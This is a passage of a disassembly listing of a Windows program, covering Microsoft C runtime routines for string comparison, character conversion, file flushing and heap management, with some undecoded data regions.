		push	esi
		push	dword_4E0BE4
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_441DB4, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_441BA8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_441DB4, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_441BA8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA

loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD

loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------

loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh

loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0

loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax

loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4E0BE4, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------

loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_441DB4, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------

loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD

loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_441BA8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------

loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4E0BE4
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E

loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824

loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4E0BE4, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E

loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------

loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4E0BF4
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		nop
		call	near ptr 268086Bh
		cmp	eax, 7Ah
		jz	short loc_41D8BF

loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4E0B28, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_441BA8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax

loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7

loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4E0BF4
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------

loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4E0BE4, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4E0BF4
		nop
		call	near ptr 2830000h
		cmp	eax, esi
		jz	short loc_41D8B0

loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax

loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 45h
		dd 8F65667Ah, 1DF46368h, 455DD9D9h, 0A1640967h,	0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 4170E8E8h, 33900249h, 89D48AD2h
		dd 4E0B4015h, 81C88B00h, 0FFE1h, 3C0D8900h, 0C1004E0Bh
		dd 0CA0308E1h, 0B380D89h, 0E8C1004Eh, 0B34A310h, 0F633004Eh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 494110E8h, 21CCA302h, 19E8004Eh
		dd 0A3000058h, 4E0B98h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024926h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 2606E856h, 50900227h, 0FE3820E8h,	0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4E0BA0, 1
		jnz	short loc_41DA37
		call	sub_423590

loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43FB70
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4E0BA0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4E1F80
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4E1E80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF

loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB

loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 26608ABh
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 268086Bh
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------

loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp

loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------

loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------

loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 9

loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh

loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------

loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4E1E60, esi
		jle	short loc_41DC4E

loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4E0E48
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------

loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax

loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4E1E60
		jl	short loc_41DC01

loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi

loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 2690000h
		nop
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26D0576h
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------

loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 28C0000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F

loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al

loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC

loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------

loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2670000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65

loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al

loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52

loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx

loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1

loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------

loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx

loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93

loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF

loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 4B2217E8h
		dd 0A3C08502h, 4E21C4h,	93E83674h, 83FFFFFEh, 0C8A303F8h
		dd 75004E21h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 21C435FFh, 0E890004Eh
		dd 24A2ED6h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4E21C4h
		dd 21BEE890h, 0C085023Ah, 4E21BCA3h, 0C3017500h, 4244C8Bh
		dd 21B42583h, 8300004Eh, 4E21B825h, 16A0000h, 4E21B0A3h
		dd 0C00D8900h, 0C7004E21h, 4E21A805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4E21B8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4E21BC
		lea	ecx, [eax+ecx*4]

loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------

loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx

loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------

loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------

loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]

loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx

loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi

loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi

loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
